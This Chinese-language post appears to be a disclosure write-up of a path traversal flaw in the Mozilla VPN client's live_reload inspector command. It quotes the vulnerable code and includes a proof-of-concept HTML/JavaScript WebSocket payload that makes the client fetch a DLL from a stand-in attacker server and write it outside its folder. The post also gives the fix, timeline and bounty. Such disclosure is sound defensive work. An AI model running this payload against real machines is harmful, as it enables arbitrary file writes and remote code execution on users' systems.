Mozilla VPN客户端路径遍历漏洞导致远程代码执行(RCE)分析

本文详细分析了Mozilla VPN客户端中的路径遍历漏洞,该漏洞存在于开发者模式的live_reload命令中,允许攻击者通过构造特殊路径写入任意文件,最终实现远程代码执行,影响Windows系统。

Mozilla VPN客户端:通过文件写入和路径遍历实现远程代码执行

漏洞概述

报告发现Mozilla VPN客户端软件中存在路径遍历漏洞,可导致远程代码执行(RCE)。该漏洞存在于客户端检查器功能的"live_reload"命令中,当客户端启用开发者模式并开启"使用暂存服务器"时可被利用。

技术细节

漏洞位置

漏洞位于InspectorHotreloader::fetchAndAnnounce()函数中,该函数在将远程文件下载到临时文件夹时未能正确清理文件路径。

漏洞代码分析

1
2
3
4
5
6
7
8
9
QObject::connect(
    request, &NetworkRequest::requestCompleted,
    [this, path, dummy_task](const QByteArray& data) {
        dummy_task->deleteLater();
        auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
        auto temp_file = new QFile(temp_path);
        temp_file->open(QIODevice::WriteOnly);
        // ...文件写入操作
    });

从代码片段可见,temp_path只是简单地将预设目录与文件名拼接,未对路径进行安全检查。

复现步骤

  1. 下载Mozilla VPN客户端

  2. 启用开发者模式:

    • 打开帮助菜单
    • 快速点击"Help"标题6次
    • 在开发者选项中勾选"Use Staging Servers"
    • 完全关闭并重新打开客户端
  3. 使用恶意HTML文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "攻击者服务器" // 需要HTTP,不支持HTTPS

payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`

ws.onopen = function() {
    ws.send(payload);
};
ws.onmessage = function(event) {
    document.getElementById("data").innerText += event.data + "\n";
};
</script>

影响分析

  • 可覆盖任意文件导致RCE
  • 通过有限用户交互(仅需打开攻击者网站)即可利用
  • 仅影响Windows系统,macOS不受影响
  • 攻击者可通过写入启动文件夹获得持久化访问权限

修复方案

Mozilla团队计划:

  • 移除检查器中的HTTP热加载功能
  • 添加与WebSocket通信的域名限制
  • 已在2.26版本中修复

时间线

  • 2025年2月15日:漏洞报告
  • 2025年3月6日:确认修复方案并发放6000美元奖金
  • 2025年5月13日:漏洞修复(版本2.26)
  • 2025年7月29日:完全披露

严重程度:高(8.3)
赏金金额:$6,000
CVE ID:无

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计